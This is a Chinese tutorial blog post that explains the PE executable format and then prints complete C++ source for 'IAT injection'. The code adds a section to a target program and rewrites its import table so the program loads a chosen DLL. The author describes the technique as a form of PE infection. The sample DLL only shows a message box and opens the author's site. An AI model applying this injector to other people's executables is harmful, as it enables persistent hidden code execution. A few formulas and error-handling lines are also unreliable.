PE格式简介

PE(Portable Executable)格式,是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。

Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的,当然CPU不一样了,CPU指令的二进制编码是不一样的。只是文件中各种东西的布局是一样的。

PE文件使用的是一个平面地址空间,所有代码和数据都合并在一起,组成一个很大的结构。

下面是一个简化的PE文件格式

简化PE文件格式

DOS MZ Header
PE Header
Section Table
Section 1
Section 2
...
Section n

Dos Mz head 和Dos stub和称Dos文件头,PE文件的第一个字节起始于MS-DOS头部,被称作IMAGE_DOS_HEADER.紧随Dos stub的是PE文件头(PE Header),PE Header是PE相关结构NT映像头(IMAGE_NT_HEADERS)的简称,其中包含许多PE装载器用到的重要字段。

1、入口点 Entry Point

2、文件偏移地址 File Offset

3、虚拟地址 Virtual Address 简称:VA

4、基地址 ImageBase

5、相对虚拟地址 Relative Virual Address 简称:RVA

公式: RVA (相对虚拟地址) =VA (虚拟地址) - ImageBase (基地址)

文件偏移地址和虚拟地址转换

在X86系统中,每个内存页的大小是4KB,即0X1000个字节。

文件偏移地址 File Offset = RVA (相对虚拟地址)

文件偏移地址 File Offset = VA (虚拟地址) - ImageBase (基地址)

PE具体结构图

pe格式的结构体定义可以在编译器的include文件夹里的winnt.h找到。

如下所示(经过简化的,具体的可以查看winnt.h,不同字长的结构,其实大体一样的)。

几个宏定义:

IMAGE_DOS_HEADER

typedef struct _IMAGE_DOS_HEADER

{

WORD e_magic; //魔术数字,所有MS-DOS兼容的可执行文件都将此值设为0X4D5A(MZ)

WORD e_cblp; //文件最后页的字节数

WORD e_cp; //文件页数

WORD e_crlc; //重定义元素个数

WORD e_cparhdr; //头部尺寸,以段落为单位

WORD e_minalloc; //所需的最小附加段

WORD e_maxalloc; //所需的最大附加段

WORD e_ss; //初始的SS值(相对偏移量)

WORD e_sp; //初始的SP值

WORD e_csum; //校验和

WORD e_ip; //初始的IP值

WORD e_cs; //初始的CS值(相对偏移量)

WORD e_lfarlc; //重分配表文件地址

WORD e_ovno; //覆盖号

WORD e_res[4]; //保留字

WORD e_oemid; //OEM标识符(相对e_oeminfo)

WORD e_oeminfo; //OEM信息

WORD e_res2[10]; //保留字

DWORD e_lfanew; //新exe头部的文件地址

}IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

IMAGE_NT_HEADERS

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16

typedef struct IMAGE_NT_HEADERS

{

DWORD Signature;

IMAGE_FILE_HEADER FileHeader;

IMAGE_OPTIONAL_HEADER32 OptionalHeader;

}IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;

typedef struct IMAGE_FILE_HEADER

{

WORD Machine;

WORD NumberOfSections;//节的数量

DWORD TimeDateStamp;

DWORD PointerToSymbols;

DWORD NumberOfSymbols;

WORD SizeOfOptionalHeader;

WORD Characteristics;

}IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER;

typedef struct IMAGE_OPTIONAL_HEADER32

{

WORD Magic;

BYTE MajorLinkerVersion;

BYTE MinorLinkerVersion;

DWORD SizeOfCode;

DWORD SizeOfInitializedData;

DWORD SizeOfUnInitializedData;

DWORD AddressOfEntryPoint;

DWORD BaseOfCode;

DWORD BaseOfData;

DWORD ImgaeBase;

DWORD SectionAlignment;

DWORD FileAlignment;

WORD MajorOperatingSystemVersion;

WORD MinorOperatingsystemversion;

WORD MajorImageVersion;

WORD MinorImageVersion;

WORD MajorSubsybtemVersion;

WORD MinorSubsybtemVersion;

DWORD Win32VersionValue;

DWORD SizeOfImage;

DWORD SizeoOfHeaders;

DWORD CheckSum;

WORD Subsystem;

WORD DllCharacteristics;

DWORD SizeOfStackReserve;

DWORD SizeOfStackCommit;

DWORD SizeOfHeapReserve;

DWORD SizeOfHeapCommit;

DWORD LoaderFlages;

DWORD NumberOfRvaAndSizes;

IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];

}IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;

IMAGE_SECTION_HEADER

PE文件头后是节表,在winnt.h下如下定义

typedef struct _IMAGE_SECTION_HEADER

{

//IMAGE_SIZEOF_SHORT_NAME=8

BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//节表名称,如".text"

union

{

DWORD PhysicalAddress;//物理地址

DWORD VirtualSize;//真实长度,这两个值是一个联合结构,可以使用其中的任何一个,//一般是节的数据大小

} Misc;

DWORD VirtualAddress;//RVA

DWORD SizeOfRawData;//物理长度

DWORD PointerToRawData;//节基于文件的偏移量

DWORD PointerToRelocations;//重定位的偏移

DWORD PointerToLinenumbers;//行号表的偏移

WORD NumberOfRelocations;//重定位项数目

WORD NumberOfLinenumbers;//行号表的数目

DWORD Characteristics;//节属性 如可读,可写,可执行等

} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
typedef struct IMAGE_THUNK_DATA

{

union

{

DWORD ForwarderString;

DWORD Function;

DWORD Ordinal;

DWORD AddressOfData;

}u1;

}IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;

typedef struct IMAGE_IMPORT_BY_NAME

{

WORD Hint;

BYTE Name;

}IMAGE_IMPORT_BY_NAME;

详细PE结构说明请查阅:

PE文件结构详解 --(完整版)

修改 PE 文件 IAT 注入

通过以上的简单了解后,那么我们便进入正题。

    下面演示的这种方法其实是 PE 感染的一种,通过对目标程序添加一个新节并注入DLL,然后这会改变 PE 文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节。

    1、在目标 PE 文件中添加一个新节并映射 PE 文件,判断是否可以加一个新节,找到节的尾部,矫正偏移,对齐 RVA 填充新节 PIMAGE_SECTION_HEADER,修改IMAGE_NT_HEADERS,将新节添加到文件尾部。

    2、修改导入表:判断是否使用了绑定导入表,往新节中拷贝原导入表内容,继续构造新的导入表描述符 PIMAGE_IMPORT_DESCRIPTOR,构造IAT结构体 PIMAGE_THUNK_DATA,填充 PIMAGE_THUNK_DATA,将 PIMAGE_IMPORT_DESCRIPTOR 的 OriginalFirstThunk 和 FirstThunk 指向 PIMAGE_THUNK_DATA,name 指向 DllName,最后修改导入表的 VirtualAddress 指向新节。

IDT 结构:

IDT 的描述在 IMAGE_OPTION_HEADER 里面的 IMPORT Table,通过 size 可以确定是否有足够的空间让我们添加。

IDT 是由 IMAGE_IMPORT_DESCRIPTION (简称IID) 结构体组成的数组,数组末尾以NULL结构体结束。每个IID结构体为0x14字节所以这里IID区域为RVA。

废话不多说……直接上代码。

现实代码

DLL:

点击查看代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h" extern "C"
{
__declspec(dllexport) int Msg();
} __declspec(dllexport) int Msg()
{
system("start https://www.chwm.vip/?PEinject_v1.0");
return 0;
} DWORD WINAPI Thread(LPVOID LpParameter)
{
char szPath[MAX_PATH] = { 0 };
char szBuf[1024] = { 0 };
GetModuleFileName(NULL, szPath, MAX_PATH);
sprintf(szBuf, "DLL 已注入到进程\r\n%s\r\nProcessID\r\n%d\r\n", szPath, GetCurrentProcessId());
MessageBox(NULL, szBuf, "DLL Inject", MB_OK);
return 0;
} BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, 0, Thread, NULL, 0, NULL);
Msg();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

主程序:

点击查看代码
// PEinject.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include "PEinject.h" #ifdef _DEBUG
#define new DEBUG_NEW
#endif #define ERROR_MESSAGE(Msg) cout << Msg << endl; // 唯一的应用程序对象 CWinApp theApp; using namespace std; BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize);
BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
DWORD RVAToFOA(PIMAGE_NT_HEADERS pNtHeaders, DWORD dwRVA);
ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign); BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{
BOOL bOk = false;
try
{
bOk = AddNewSection(strTargetFile, 256);
if (!bOk)
{
ERROR_MESSAGE("AddImportTable:AddNewSection failed.");
return false;
} bOk = AddNewImportDescriptor(strTargetFile, strInjectDllName, strFunctionName);
if (!bOk)
{
ERROR_MESSAGE("AddImportTable:AddNewImportDescriptor failed.");
return false;
}
}
catch (exception* e)
{
ERROR_MESSAGE((string("AddImportTable:") + e->what()).c_str());
return false;
} return true;
} BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize)
{
BOOL bOk = true;
HANDLE TargetFileHandle = nullptr;
HANDLE MappingHandle = nullptr;
PVOID FileData = nullptr; try
{
// 打开文件
TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (TargetFileHandle == INVALID_HANDLE_VALUE)
{
ERROR_MESSAGE(string("AddNewSection:CreateFileA error with error code:" + GetLastError()).c_str());
bOk = false;
goto EXIT;
} ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL); // 映射文件
MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
if (MappingHandle == NULL)
{
ERROR_MESSAGE(string("AddNewSection:CreateFileMapping error with error code:" + GetLastError()).c_str());
bOk = false;
goto EXIT;
} // 得到缓存头
FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
if (FileData == NULL)
{
ERROR_MESSAGE(string("AddNewSection:MapViewOfFile error with error code:" + GetLastError()).c_str());
bOk = false;
goto EXIT;
} // 判断是否是PE文件
if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
{
ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
bOk = false;
goto EXIT;
} PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
bOk = false;
goto EXIT;
} // 判断是否可以增加一个新节
if ((pNtHeaders->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeaders->OptionalHeader.SizeOfHeaders/*三个部分的总大小*/)
{
ERROR_MESSAGE("AddNewSection:There is not enough space to add a new section.");
bOk = false;
goto EXIT;
} // 得到新节的起始地址, 最后的起始地址
PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections;
PIMAGE_SECTION_HEADER pLastSectionHeader = pNewSectionHeader - 1; // 对齐RVA和偏移
DWORD FileSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.FileAlignment);
DWORD FileOffset = PEAlign(pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData, pNtHeaders->OptionalHeader.FileAlignment);
DWORD VirtualSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.SectionAlignment);
DWORD VirtualOffset = PEAlign(pLastSectionHeader->VirtualAddress + pLastSectionHeader->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment); // 填充新节表
memcpy(pNewSectionHeader->Name, "00cfg", strlen("00cfg"));
pNewSectionHeader->VirtualAddress = VirtualOffset;
pNewSectionHeader->Misc.VirtualSize = VirtualSize;
pNewSectionHeader->PointerToRawData = FileOffset;
pNewSectionHeader->SizeOfRawData = FileSize;
pNewSectionHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; // 修改IMAGE_NT_HEADERS
pNtHeaders->FileHeader.NumberOfSections++;
pNtHeaders->OptionalHeader.SizeOfImage += VirtualSize;
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; // 关闭绑定导入
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0; // 添加新节到文件尾部
SetFilePointer(TargetFileHandle, 0, 0, FILE_END);
PCHAR pNewSectionContent = new CHAR[FileSize];
RtlZeroMemory(pNewSectionContent, FileSize);
DWORD dwWrittenLength = 0;
bOk = WriteFile(TargetFileHandle, pNewSectionContent, FileSize, &dwWrittenLength, nullptr);
if (bOk == false)
{
ERROR_MESSAGE(string("AddNewSection:WriteFile error with error code:" + GetLastError()).c_str());
bOk = false;
goto EXIT;
}
}
catch (exception* e)
{
ERROR_MESSAGE((string("AddNewSection:") + e->what()).c_str());
bOk = false;
}
EXIT:
if (TargetFileHandle != NULL)
{
CloseHandle(TargetFileHandle);
TargetFileHandle = nullptr;
}
if (FileData != NULL)
{
UnmapViewOfFile(FileData);
FileData = nullptr;
}
if (MappingHandle != NULL)
{
CloseHandle(MappingHandle);
MappingHandle = nullptr;
} return bOk;
} ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign)
{
return(((dwNumber + dwAlign - 1) / dwAlign) * dwAlign); // 想 dwAlign 对齐,加上 dwAlign - 1,这样就可以保证对齐后的值 >= dwNumber
} BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{
bool bOk = true;
HANDLE TargetFileHandle = nullptr;
HANDLE MappingHandle = nullptr;
PVOID FileData = nullptr;
PIMAGE_IMPORT_DESCRIPTOR pImportTable = nullptr; try
{
// 打开文件
TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (TargetFileHandle == INVALID_HANDLE_VALUE)
{
ERROR_MESSAGE(string("AddNewImportDescriptor:CreateFileA error with error code:" + GetLastError()).c_str());
bOk = false;
goto EXIT;
} ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL); // 映射文件
MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
if (MappingHandle == NULL)
{
cout << "AddNewImportDescriptor:CreateFileMapping error with error code:" << std::to_string(GetLastError()).c_str();
bOk = false;
goto EXIT;
} // 得到缓存头
FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
if (FileData == NULL)
{
ERROR_MESSAGE(string("AddNewImportDescriptor:MapViewOfFile error with error code:" + GetLastError()).c_str());
bOk = false;
goto EXIT;
} // 判断是否是PE文件
if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
{
ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
bOk = false;
goto EXIT;
} PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
bOk = false;
goto EXIT;
} // 得到原导入表
pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)FileData + RVAToFOA(pNtHeaders, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)); // 判断是否使用了绑定导入表
bool bBoundImport = false;
if (pImportTable->Characteristics == 0 && pImportTable->FirstThunk != 0)
{
// 桥一为0 桥二不是0 说明使用了绑定导入表
bBoundImport = true;
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; // 关闭绑定导入
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
} // 找到自己添加的新节
PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections - 1;
PBYTE pNewSectionData = pNewSectionHeader->PointerToRawData + (PBYTE)FileData;
PBYTE pNewImportDescriptor = pNewSectionData; // 往新节中拷贝原导入表内容
int i = 0;
while (pImportTable->FirstThunk != 0 || pImportTable->Characteristics != 0)
{
memcpy(pNewSectionData + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), pImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR));
pImportTable++;
pNewImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
i++;
} // 复制最后一个描述符
memcpy(pNewImportDescriptor, pNewImportDescriptor - sizeof(IMAGE_IMPORT_DESCRIPTOR), sizeof(IMAGE_IMPORT_DESCRIPTOR)); // 计算修正值
DWORD dwDelt = pNewSectionHeader->VirtualAddress - pNewSectionHeader->PointerToRawData; // pNewImportDescriptor 当前指向要构造的新描述符 再空出一个空描述符作为导入表的结束符 所以是 2 *
PIMAGE_THUNK_DATA pNewThunkData = PIMAGE_THUNK_DATA(pNewImportDescriptor + 2 * sizeof(IMAGE_IMPORT_DESCRIPTOR));
PBYTE pszDllName = (PBYTE)(pNewThunkData + 2);
memcpy(pszDllName, strInjectDllName.c_str(), strInjectDllName.length());
// 确定 DllName 的位置
pszDllName[strInjectDllName.length() + 1] = 0;
// 确定 IMAGE_IMPORT_BY_NAM 的位置
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pszDllName + strInjectDllName.length() + 1);
// 初始化 IMAGE_THUNK_DATA
pNewThunkData->u1.Ordinal = (DWORD_PTR)pImportByName - (DWORD_PTR)FileData + /*加上修正值 - 这里应该填充在内存中的地址*/dwDelt;
// 初始化 IMAGE_IMPORT_BY_NAME
pImportByName->Hint = 1;
memcpy(pImportByName->Name, strFunctionName.c_str(), strFunctionName.length());
pImportByName->Name[strFunctionName.length() + 1] = 0;
// 初始化 PIMAGE_IMPORT_DESCRIPTOR
if (bBoundImport)
{
((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = 0;
}
else
{
((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
}
((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->FirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->Name = dwDelt + (DWORD_PTR)pszDllName - (DWORD_PTR)FileData;
// 修改导入表入口
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pNewSectionHeader->VirtualAddress;
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
catch (exception* e)
{
ERROR_MESSAGE((string("AddNewImportDescriptor:") + e->what()).c_str());
bOk = false;
} EXIT:
{
if (TargetFileHandle != NULL)
{
CloseHandle(TargetFileHandle);
TargetFileHandle = nullptr;
} if (FileData != NULL)
{
UnmapViewOfFile(FileData);
FileData = nullptr;
} if (MappingHandle != NULL)
{
CloseHandle(MappingHandle);
MappingHandle = nullptr;
}
} return bOk;
} PIMAGE_SECTION_HEADER GetOwnerSection(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{
int i;
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNTHeaders + 1);
for (i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++)
{
if ((dwRVA >= (pSectionHeader + i)->VirtualAddress) && (dwRVA <= ((pSectionHeader + i)->VirtualAddress + (pSectionHeader + i)->SizeOfRawData)))
{
return ((PIMAGE_SECTION_HEADER)(pSectionHeader + i));
}
}
return PIMAGE_SECTION_HEADER(NULL);
} DWORD RVAToFOA(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{
DWORD _offset;
PIMAGE_SECTION_HEADER section;
// 找到偏移所在节
section = GetOwnerSection(pNTHeaders, dwRVA);
if (section == NULL)
{
return(0);
}
// 修正偏移
_offset = dwRVA + section->PointerToRawData - section->VirtualAddress;
return(_offset);
} int main(int argc, char *argv[])
{
AddImportTable("Wmplayer.exe", "TestDLL.dll", "Msg"); system("start https://www.chwm.vip/?PEinject_v1.0"); system("pause"); return 0;
}

效果演示

修改前

修改后

运行效果

劫持 PE 文件:新建节表并插入指定 DLL 文件的更多相关文章

  1. Halcon图像采集助手提示找不到指定DLL文件

    问题原因: Halcon软件更新导致某些图像采集DLL失效,这个时候就需要去MVTEC官网下载图像采集接口补丁程序,MVTEC官网地址http://www.mvtec.com/. 对于其他模块失效的D ...

  2. 《DotNet Web应用单文件部署系列》三、混淆dll文件

    众所周知,C#编译后的dll文件可被反编译,网上搜索"C# 反编译"会出现一大堆资料.为了提高反编译成本,我们必须对dll文件进行混淆处理. 目前,C#混淆工具很多,我推荐obfu ...

  3. 利用PE数据目录的导入表获取函数名及其地址

    PE文件是以64字节的DOS文件头开始的(IMAGE_DOS_HEADER),接着是一段小DOS程序,然后是248字节的 NT文件头(IMAGE_NT_HEADERS),NT的文件头位置由IMAGE_ ...

  4. 上传漏洞科普[1]-文件上传表单是Web安全主要威胁

    为了让最终用户将文件上传到您的网站,就像是给危及您的服务器的恶意用户打开了另一扇门.即便如此,在今天的现代互联网的Web应用程序,它是一种 常见的要求,因为它有助于提高您的业务效率.在Facebook ...

  5. spring boot:单文件上传/多文件上传/表单中多个文件域上传(spring boot 2.3.2)

    一,表单中有多个文件域时如何实现说明和文件的对应? 1,说明和文件对应 文件上传页面中,如果有多个文件域又有多个相对应的文件说明时, 文件和说明如何对应? 我们在表单中给对应的file变量和text变 ...

  6. java中调用dll文件的两种方法

    一中是用JNA方法,另外是用JNative方法,两种都是转载来的, JNA地址:http://blog.csdn.net/shendl/article/details/3589676   JNativ ...

  7. 几种工具反编译被编译好的DLL文件

    我们平时在工作中经常会遇到一些已经被编译后的DLL,而且更加麻烦是没有源代码可以进行修改,只能针对这个DLL的文件进行修改才能得到我们想要的结果:本文将通过一个实例来演示如果完成一个简单的修改;我们将 ...

  8. 关于vs的lib文件和dll文件

    一.LIB文件概念 一个lib文件是obj文件的集合.当然,其中还夹杂着其他一些辅助信息,目的是为了让编译器能够准确找到对应的obj文件 二.与DLL的区别 (1)lib是编译时需要的,dll是运行时 ...

  9. 如何修改被编译后DLL文件

    原文 http://www.cnblogs.com/wujy/p/3275855.html 我们平时在工作中经常会遇到一些已经被编译后的DLL,而且更加麻烦是没有源代码可以进行修改,只能针对这个DLL ...

  10. c++ 生成dll文件并调用-转

    .h(头文件) .lib(库文件) .dll(动态链接库文件) 之间的关系和作用的区分   .h头文件是编译时必须的,lib是链接时需要的,dll是运行时需要的. 附加依赖项的是.lib不是.dll, ...

随机推荐

  1. gitbook生成静态页面不跳转

    gitbook页面不跳转 现在可以在localhost:4000/查看自己的网页了.而且生成的网页存在_book文件夹中,下次点击 _book文件夹中的index.html就能打开网页,内容无更新,就 ...

  2. c语言代码练习3改进

    #define _CRT_SECURE_NO_WARNINGS 1 #include <stdio.h> int main() { int x = 0; printf("请输入一 ...

  3. 关于Word转PDF的几种实现方案

    在.NET中,你可以使用Microsoft.Office.Interop.Word库来进行Word到PDF的转换.这是一个示例代码,但请注意这需要在你的系统上安装Microsoft Office. 在 ...

  4. Redis系列内容完整版

    @ 目录 Redis系列之_Redis介绍安装配置 第一章 redis初识 1.1 Redis是什么 1.2 Redis特性(8个) 1.3 Redis单机安装 1.3.1下载安装 1.3.2三种启动 ...

  5. Lab3 存储过程与触发器

    实验三 存储过程与触发器  实验目的: 学习SQL语言进行编程的基本方法与技术,能够编写存储过程.触发器解决数据库需要处理的复杂问题.  实验内容: 1. 设计一个存储过程或者自定义函数,练习存储 ...

  6. FFMPEG+SDL简单视频播放器——人脸检测

    前言 最近突发奇想,给播放器加上一个人脸检测的功能(事情似乎朝着奇怪的方向发展了,谁家的播放器会需要去检测人脸啊!),主要的目的是为了学习opencv,尝试将ffmpeg和opencv融合在一起使用. ...

  7. Vue之自定义过滤器

    使用Vue.filter('过滤器名称',方法); 1. <!DOCTYPE html> <html lang="en"> <head> < ...

  8. MAC Big Sur系统升级导致三星移动硬盘T7无法识别解决方案

    一.问题 MAC系统升级后总是导致三星移动硬盘(加密)无法被识别,影响正常使用.问售后让去官网下载最新驱动,第一次升级有用,在升级就没用了. 升级系统版本MAC 15.5.1重新安装官网驱动仍然无法识 ...

  9. Kafka 在分布式系统中的 7 大应用场景

    Kafka 介绍 Kafka 是一个开源的分布式流式平台,它可以处理大量的实时数据,并提供高吞吐量,低延迟,高可靠性和高可扩展性.Kafka 的核心组件包括生产者(Producer),消费者(Cons ...

  10. TOPSIS模型

    TOPSIS模型主要是用于评估类模型 一些基本概念: 因为TOPSIS模型是用于评价类的模型,所以会有一些指标的概念,所有指标并非越大越好,例如我们在评价一人的时候会有成绩.和他人发生争吵的次数这两个 ...